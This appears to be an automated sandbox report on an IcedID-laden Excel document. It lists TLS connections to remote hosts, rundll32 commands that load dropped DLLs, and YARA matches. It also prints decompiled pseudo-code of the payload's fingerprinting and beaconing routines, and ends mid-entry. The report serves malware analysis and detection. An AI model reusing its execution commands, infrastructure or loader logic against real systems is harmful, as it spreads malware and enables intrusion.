Apr 6, 2021 19:39:53.070857048 CEST	50.87.146.86	443	192.168.2.22	49169	CN=www.columbia.aula-web.net CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Tue Mar 16 08:24:20 CET 2021 Wed Oct 07 21:21:40 CEST 2020	Mon Jun 14 09:24:20 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Apr 6, 2021 19:39:53.070857048 CEST	50.87.146.86	443	192.168.2.22	49169	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		7dcce5b76c8b17472d024758970a406b
Apr 6, 2021 19:39:54.105231047 CEST	199.79.62.99	443	192.168.2.22	49170	CN=webdisk.hashmati.com CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Feb 18 18:24:39 CET 2021 Wed Oct 07 21:21:40 CEST 2020	Wed May 19 19:24:39 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Apr 6, 2021 19:39:54.105231047 CEST	199.79.62.99	443	192.168.2.22	49170	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		7dcce5b76c8b17472d024758970a406b
Apr 6, 2021 19:39:57.698239088 CEST	143.204.3.74	443	192.168.2.22	49171	CN=aws.amazon.com CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 30 02:00:00 CEST 2020 Thu Oct 22 02:00:00 CEST 2015 Mon May 25 14:00:00 CEST 2015 Wed Sep 02 02:00:00 CEST 2009	Thu Sep 23 14:00:00 CEST 2021 Sun Oct 19 02:00:00 CEST 2025 Thu Dec 31 02:00:00 CET 2037 Wed Jun 28 19:39:16 CEST 2034	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
					CN=Amazon, OU=Server CA 1B, O=Amazon, C=US	CN=Amazon Root CA 1, O=Amazon, C=US	Thu Oct 22 02:00:00 CEST 2015	Sun Oct 19 02:00:00 CEST 2025
					CN=Amazon Root CA 1, O=Amazon, C=US	CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	Mon May 25 14:00:00 CEST 2015	Thu Dec 31 02:00:00 CET 2037
					CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 02 02:00:00 CEST 2009	Wed Jun 28 19:39:16 CEST 2034
Apr 6, 2021 19:40:29.103194952 CEST	143.204.3.74	443	192.168.2.22	49172	CN=aws.amazon.com CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 30 02:00:00 CEST 2020 Thu Oct 22 02:00:00 CEST 2015 Mon May 25 14:00:00 CEST 2015 Wed Sep 02 02:00:00 CEST 2009	Thu Sep 23 14:00:00 CEST 2021 Sun Oct 19 02:00:00 CEST 2025 Thu Dec 31 02:00:00 CET 2037 Wed Jun 28 19:39:16 CEST 2034	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
					CN=Amazon, OU=Server CA 1B, O=Amazon, C=US	CN=Amazon Root CA 1, O=Amazon, C=US	Thu Oct 22 02:00:00 CEST 2015	Sun Oct 19 02:00:00 CEST 2025
					CN=Amazon Root CA 1, O=Amazon, C=US	CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	Mon May 25 14:00:00 CEST 2015	Thu Dec 31 02:00:00 CET 2037
					CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 02 02:00:00 CEST 2009	Wed Jun 28 19:39:16 CEST 2034

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2372 Parent PID: 584

General

Start time:	19:39:35
Start date:	06/04/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fe10000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2540 Parent PID: 2372

General

Start time:	19:39:47
Start date:	06/04/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\ksjvoefv.skd,DllRegisterServer
Imagebase:	0xff3a0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000003.00000002.2497781112.000000000038E000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2708 Parent PID: 2372

General

Start time:	19:40:17
Start date:	06/04/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\ksjvoefv.skd1,DllRegisterServer
Imagebase:	0xff3a0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2780 Parent PID: 2372

General

Start time:	19:40:18
Start date:	06/04/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\ksjvoefv.skd2,DllRegisterServer
Imagebase:	0xff3a0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2796 Parent PID: 2372

General

Start time:	19:40:18
Start date:	06/04/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\ksjvoefv.skd3,DllRegisterServer
Imagebase:	0xff3a0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000006.00000003.2174963879.00000000002E3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000006.00000003.2172023641.00000000002E3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000006.00000003.2173003375.00000000002E3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000006.00000002.2497738687.00000000002E1000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000006.00000003.2173701556.00000000002E3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_IcedID_1, Description: Yara detected IcedID, Source: 00000006.00000003.2172513544.00000000002E3000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2252 Parent PID: 2372

General

Start time:	19:40:49
Start date:	06/04/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\ksjvoefv.skd4,DllRegisterServer
Imagebase:	0xff3a0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 2540 Parent PID: 2372 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	21.6%
Dynamic/Decrypted Code Coverage:	66.2%
Signature Coverage:	33.8%
Total number of Nodes:	71
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00231F94, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00231F94(long long __rbx, void* __rcx, signed long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* __rdi;
				int _t23;
				void* _t24;
				void* _t27;
				intOrPtr _t35;
				void* _t36;
				intOrPtr* _t44;
				long long _t46;
				intOrPtr* _t48;
				intOrPtr* _t54;
				intOrPtr* _t62;
				signed long long _t64;
				long long* _t67;
				intOrPtr* _t69;
				void* _t77;
				void* _t78;
				struct HINSTANCE__* _t79;
				void* _t80;
				CHAR* _t82;
				char* _t83;

				_t64 = __rsi;
				_t46 = __rbx;
				_t44 = _t69;
				 *((long long*)(_t44 + 8)) = __rbx;
				 *((long long*)(_t44 + 0x18)) = __rbp;
				 *((long long*)(_t44 + 0x20)) = __rsi;
				_push(_t62);
				_t80 = __rcx;
				_t83 = L"; _gid=";
				 *(_t44 + 0x10) =  *(_t44 + 0x10) & 0;
				LoadLibraryA(_t82);
				GetProcAddress(_t79);
				_t67 = _t44;
				if(_t44 == 0) {
					L6:
					r9d = 1;
					_t23 = E00231998(_t36, _t44, _t46, _t80, L"; _gid=", _t62, 0x2342d0, _t77, _t78);
					L7:
					return _t23;
				}
				_t24 =  *_t67(); // executed
				if(_t24 == 0x6f && __rbx != 0) {
					GetProcessHeap();
					_t9 = _t64 + 8; // 0x8
					_t36 = _t9;
					HeapAlloc(??, ??, ??);
					_t62 = _t44;
					if(_t44 == 0) {
						goto L6;
					}
					_t54 = _t44; // executed
					_t27 =  *_t67(); // executed
					if(_t27 == 0) {
						_t48 = _t62;
						do {
							if( *((char*)(_t48 + 0x1c0)) != 0x30 ||  *((char*)(_t48 + 0x1c1)) != 0x2e) {
								_t35 =  *((intOrPtr*)(_t48 + 0x194));
								if(_t54 - 1 <= 7) {
									r9d = _t35;
									_t18 = _t48 + 0x198; // 0x198
									_t54 = _t80 + _t64 * 2;
									E00231998(_t36, _t44, _t48, _t54, _t83, _t62, _t18, _t77, _t78);
									_t64 = _t64 + _t44;
									_t83 = ":";
								}
							}
							_t48 =  *_t48;
						} while (_t48 != 0);
						GetProcessHeap();
						_t36 = 0;
						_t23 = HeapFree(??, ??, ??);
						if(_t64 == 0) {
							goto L6;
						}
						goto L7;
					}
					GetProcessHeap();
					_t36 = 0;
					HeapFree(??, ??, ??);
				}
			}

0x00231f94
0x00231f94
0x00231f94
0x00231f97
0x00231f9b
0x00231f9f
0x00231fa3
0x00231fac
0x00231faf
0x00231fbf
0x00231fc2
0x00231fd2
0x00231fd8
0x00231fde
0x00232037
0x00232037
0x0023204e
0x00232053
0x0023206b
0x0023206b
0x00231fe7
0x00231fec
0x00231ff7
0x00232004
0x00232004
0x00232007
0x0023200d
0x00232013
0x00000000
0x00000000
0x0023201a
0x0023201d
0x00232021
0x0023206c
0x0023206f
0x00232076
0x00232081
0x0023208d
0x0023208f
0x00232092
0x00232099
0x002320a0
0x002320a5
0x002320a8
0x002320a8
0x0023208d
0x002320af
0x002320b2
0x002320b7
0x002320c0
0x002320c5
0x002320ce
0x00000000
0x00000000
0x00000000
0x002320d4
0x00232023
0x0023202c
0x00232031
0x00232031

APIs

GetAdaptersInfo.IPHLPAPI(?,?,00000000,002318AF), ref: 00231FE7
GetAdaptersInfo.IPHLPAPI(?,?,00000000,002318AF), ref: 0023201D

Memory Dump Source

Source File: 00000003.00000002.2497682801.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_rundll32.jbxd

Similarity

API ID: AdaptersInfo
String ID:
API String ID: 3177971545-0
Opcode ID: f188a84b7824f7168308be0550123ebff5a9e507e25b8beea57be7f38c0be76a
Instruction ID: e663df19409424ebce864f3573e86d91e117e35baed2b32b13811d81cb83e7fb
Opcode Fuzzy Hash: f188a84b7824f7168308be0550123ebff5a9e507e25b8beea57be7f38c0be76a
Instruction Fuzzy Hash: 8E3168B2715B8185EB19AF62E9487996760EB58F94F484066CE0947724EF3CD659C300

Uniqueness

Uniqueness Score: -1.00%

Function 002313B8, Relevance: 3.1, APIs: 2, Instructions: 77
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL(?,?,00000000,00231865), ref: 0023140B
RtlAllocateHeap.NTDLL(?,?,00000000,00231865), ref: 00231449

Memory Dump Source

Source File: 00000003.00000002.2497682801.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_rundll32.jbxd

Similarity

API ID: AllocateHeapInformationQuerySystem
String ID:
API String ID: 3114120137-0
Opcode ID: e9d349af2e999cb4abc33be70027002b2dd81c33f36b44a205c5960c8fed2710
Instruction ID: d1fa27af932f8f8ef9fea9315bed3c919bdd418b1cb66eb7abcfd4191840c066
Opcode Fuzzy Hash: e9d349af2e999cb4abc33be70027002b2dd81c33f36b44a205c5960c8fed2710
Instruction Fuzzy Hash: D921C4A5325B4183EF089F52A94836566A5FF88FC5F098034DF4E83714EF3CDAA58700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4611000, Relevance: 2.7, APIs: 2, Instructions: 228
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000007FEF4611045
VirtualAlloc.KERNELBASE ref: 000007FEF46110D1

Memory Dump Source

Source File: 00000003.00000002.2498978919.000007FEF4611000.00000020.00020000.sdmp, Offset: 000007FEF4610000, based on PE: true

Associated: 00000003.00000002.2498972585.000007FEF4610000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498986037.000007FEF4612000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498995496.000007FEF4613000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.2499007668.000007FEF4618000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2499015757.000007FEF4619000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef4610000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f0add7c8ab726dfa4426822af1560b29f9decc86af54d0a624c83a00013bd066
Instruction ID: 0fac8e7597e1dc0a5c140a23e8f789992647d78a851d997db8e17e1a037fa8f3
Opcode Fuzzy Hash: f0add7c8ab726dfa4426822af1560b29f9decc86af54d0a624c83a00013bd066
Instruction Fuzzy Hash: 3AC10CB660CAD18AD3B1CB15EC98BAABBE0F3C8707F050515DAC983A69C63CE544DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00231100, Relevance: 1.7, APIs: 1, Instructions: 198
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL ref: 002312F8

Memory Dump Source

Source File: 00000003.00000002.2497682801.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e7a61cbc759ca3cfc6a098a573b718eaea4ffee18f520c87ff31b5679ef10bd2
Instruction ID: 820b5798e6412f12e3220a7291d9338e851f718b2bd3b08cedcc9ffca88505ee
Opcode Fuzzy Hash: e7a61cbc759ca3cfc6a098a573b718eaea4ffee18f520c87ff31b5679ef10bd2
Instruction Fuzzy Hash: 3871AD72320B9287EB28CF66E844BA937A5FB48B94F444525DE4A43F18DF3CD6A5C700

Uniqueness

Uniqueness Score: -1.00%

Function 00231D48, Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameW.ADVAPI32 ref: 00231E35

Memory Dump Source

Source File: 00000003.00000002.2497682801.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_rundll32.jbxd

Similarity

API ID: AccountLookupName
String ID:
API String ID: 1484870144-0
Opcode ID: 1311f2781ba9e4e04f3f2eaab40bafd5923a2e5013864c7313236cec174c3a62
Instruction ID: 49f286503432585ee200c7eb780f2519222cf7a93f543e2af24335191ac135a6
Opcode Fuzzy Hash: 1311f2781ba9e4e04f3f2eaab40bafd5923a2e5013864c7313236cec174c3a62
Instruction Fuzzy Hash: B0519F72710B8286DB28DF61E8487E93365FB48788F854136DE4E57A18EF38D65AC740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4611B10, Relevance: 3.3, APIs: 2, Instructions: 298
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,00000000,000007FEF46115ED), ref: 000007FEF4611B58
LoadLibraryA.KERNEL32(?,?,?,00000000,000007FEF46115ED), ref: 000007FEF4611D85

Memory Dump Source

Source File: 00000003.00000002.2498978919.000007FEF4611000.00000020.00020000.sdmp, Offset: 000007FEF4610000, based on PE: true

Associated: 00000003.00000002.2498972585.000007FEF4610000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498986037.000007FEF4612000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498995496.000007FEF4613000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.2499007668.000007FEF4618000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2499015757.000007FEF4619000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef4610000_rundll32.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 237938d720e0c335a7fff4ed152e3a5be83b332fb91294003e64445ff9fa79c3
Instruction ID: 669f14ca7a3366abaabea5e5c23233078d17ed22d89a7c5c9619fcaf44101b27
Opcode Fuzzy Hash: 237938d720e0c335a7fff4ed152e3a5be83b332fb91294003e64445ff9fa79c3
Instruction Fuzzy Hash: 0DC1C0B2B0D28187DB948B55D580BB97BE2F788F45F468135DA5E437A0DB3CE851CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4611AE4, Relevance: 3.3, APIs: 2, Instructions: 267
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,00000000,000007FEF46115ED), ref: 000007FEF4611B58
LoadLibraryA.KERNEL32(?,?,?,00000000,000007FEF46115ED), ref: 000007FEF4611D85

Memory Dump Source

Source File: 00000003.00000002.2498978919.000007FEF4611000.00000020.00020000.sdmp, Offset: 000007FEF4610000, based on PE: true

Associated: 00000003.00000002.2498972585.000007FEF4610000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498986037.000007FEF4612000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498995496.000007FEF4613000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.2499007668.000007FEF4618000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2499015757.000007FEF4619000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef4610000_rundll32.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: ae26847ad2198df81dc431755e1e07a8ad5e86ce5645efbae1d15e22fdb72320
Instruction ID: 8f336c888e7ade0c3769ae2f0e1a387ab275b84e22c1373df1f1378f8426abd4
Opcode Fuzzy Hash: ae26847ad2198df81dc431755e1e07a8ad5e86ce5645efbae1d15e22fdb72320
Instruction Fuzzy Hash: BEB1BDB2B0D2828BDB948B55D590BBD7BE1F7C9F44F468125DA5A43BA0DB7CE811CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00231A24, Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32 ref: 00231B51

Memory Dump Source

Source File: 00000003.00000002.2497682801.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_rundll32.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: be431a069c049eb23e198244e7c3696d9a1e2ba8001f905d6cab54f2418293d1
Instruction ID: 5e823b958377fec3fcc47d4f46d314b52e48ad35451504957f33ce14c97ae429
Opcode Fuzzy Hash: be431a069c049eb23e198244e7c3696d9a1e2ba8001f905d6cab54f2418293d1
Instruction Fuzzy Hash: 4C416F76314A4092EB14EB51F89879A7330FB84B95F8241669E0E53B34DF7CE6A9C740

Uniqueness

Uniqueness Score: -1.00%

Function 00232314, Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E00232314(void* __edx, long long __rbx, void* __rcx, long long __rdx, long long __rdi, long long __rsi, intOrPtr* __r8, long long* __r9, void* __r11) {
				void* __r14;
				void* _t29;
				void* _t30;
				void* _t50;
				long long* _t65;
				intOrPtr* _t68;
				void* _t71;
				void* _t73;
				void* _t82;
				WCHAR* _t87;
				long long _t88;

				_t82 = __r11;
				_t81 = __r9;
				_t52 = __rbx;
				_t50 = _t73;
				 *((long long*)(_t50 + 8)) = __rbx;
				 *((long long*)(_t50 + 0x10)) = __rsi;
				 *((long long*)(_t50 + 0x18)) = __rdi;
				_t71 = _t50 - 0x5f;
				_t68 = __r8;
				_t88 = __rdx;
				_t65 = __r9;
				wsprintfW(_t87);
				while(1) {
					 *(_t71 - 0x5d) =  *(_t71 - 0x5d) & 0x00000000;
					 *(_t71 - 0x59) =  *(_t71 - 0x59) & 0x00000000;
					 *(_t71 - 0x51) =  *(_t71 - 0x51) & 0x00000000;
					 *(_t71 - 0x41) =  *(_t71 - 0x41) & 0x00000000;
					 *(_t71 - 0x49) =  *(_t71 - 0x49) & 0x00000000;
					 *((long long*)(_t71 - 0x79)) = _t71 - 0x39;
					 *((short*)(_t71 - 0x61)) = 0x50;
					 *((long long*)(_t71 - 0x71)) = 0x234318;
					 *((long long*)(_t71 - 0x69)) = _t88;
					_t29 = E00231100(0x50, _t71 - 0x39, _t52, _t71 - 0x79, _t68, _t65, _t81);
					_t52 =  *_t68;
					if(_t29 == 0x194) {
						break;
					}
					if(_t29 != 0xc8) {
						L8:
						if(_t52 != 0) {
							GetProcessHeap();
							HeapFree(??, ??, ??);
						}
						L10:
						SleepEx(); // executed
						continue;
					}
					if(_t52 == 0) {
						goto L10;
					}
					if( *_t65 < 0x400 ||  *_t52 != 0x1f ||  *((char*)(_t52 + 1)) != 0x8b || E00232170(_t52, _t68, _t65, _t65, _t68, _t82, _t88) == 0) {
						goto L8;
					} else {
						_t30 = 1;
						L15:
						return _t30;
					}
				}
				if(_t52 != 0) {
					GetProcessHeap();
					HeapFree(??, ??, ??);
				}
				_t30 = 0;
				goto L15;
			}

0x00232314
0x00232314
0x00232314
0x00232314
0x00232317
0x0023231b
0x0023231f
0x00232328
0x00232333
0x00232336
0x00232347
0x0023234a
0x00232357
0x00232357
0x0023235f
0x00232368
0x00232370
0x00232377
0x0023237c
0x00232385
0x00232389
0x0023238d
0x00232391
0x00232396
0x0023239e
0x00000000
0x00000000
0x002323a5
0x002323cf
0x002323d2
0x002323d4
0x002323e2
0x002323e2
0x002323e8
0x002323ed
0x00000000
0x002323ed
0x002323aa
0x00000000
0x00000000
0x002323b3
0x00000000
0x002323f8
0x002323f8
0x0023241a
0x00232436
0x00232436
0x002323b3
0x00232402
0x00232404
0x00232412
0x00232412
0x00232418
0x00000000

APIs

SleepEx.KERNEL32 ref: 002323ED

Memory Dump Source

Source File: 00000003.00000002.2497682801.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_rundll32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f8c61a9d0046ffd2db5d05edc3b898219e8963e518d2108f2c10d1e90b492d7c
Instruction ID: 91ee503c9abce182ac495c8fd8bb2a44338978fa88f6f61e845d17404460d451
Opcode Fuzzy Hash: f8c61a9d0046ffd2db5d05edc3b898219e8963e518d2108f2c10d1e90b492d7c
Instruction Fuzzy Hash: 2D314C72720B81C6EB18DF61E40879C23A6E744B94F598165CF4967758DF3CD66AC380

Uniqueness

Uniqueness Score: -1.00%

Function 00231040, Relevance: 1.5, APIs: 1, Instructions: 13
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00231062

Memory Dump Source

Source File: 00000003.00000002.2497682801.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_rundll32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: d56e05cda774ccf5d4670394d9a5578360c09582fb272e20d6068c562598757c
Instruction ID: dcb565d314386e1541e58eebb78d02344f1ef77793f56ca0485f418bf8b35b1d
Opcode Fuzzy Hash: d56e05cda774ccf5d4670394d9a5578360c09582fb272e20d6068c562598757c
Instruction Fuzzy Hash: C7D0C776F1078183E7389B10A55A7592721F394356F904116D94945554CF7DC2A9CA04

Uniqueness

Uniqueness Score: -1.00%

Function 0023101C, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00231027

Memory Dump Source

Source File: 00000003.00000002.2497682801.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_rundll32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 3de75df87d79d1aad6c4990aa37e91d9323ec035a64db23e00b7570720ffcdd9
Instruction ID: 4a27c3cbc9b9ae26c6460515095f3cebdbfe11b0c69925d74bbdb52bfbea289a
Opcode Fuzzy Hash: 3de75df87d79d1aad6c4990aa37e91d9323ec035a64db23e00b7570720ffcdd9
Instruction Fuzzy Hash: 08C08C70334284C2E31CAB60F94C3382220E300301F000458C313021E0CE3C1BF5CB01

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF4611610, Relevance: 1.4, Strings: 1, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

W>Q, xrefs: 000007FEF4611732

Memory Dump Source

Source File: 00000003.00000002.2498978919.000007FEF4611000.00000020.00020000.sdmp, Offset: 000007FEF4610000, based on PE: true

Associated: 00000003.00000002.2498972585.000007FEF4610000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498986037.000007FEF4612000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498995496.000007FEF4613000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.2499007668.000007FEF4618000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2499015757.000007FEF4619000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef4610000_rundll32.jbxd

Similarity

API ID:
String ID: W>Q
API String ID: 0-3118079255
Opcode ID: 8f6f409ae8d980f1aa67fca21e0a267fb40582c6a34c997f5d87da3b30e1215c
Instruction ID: 4d652985d382e6352f01b8b889ad4d9a47a40ea2d968fe64579ec3e309703d18
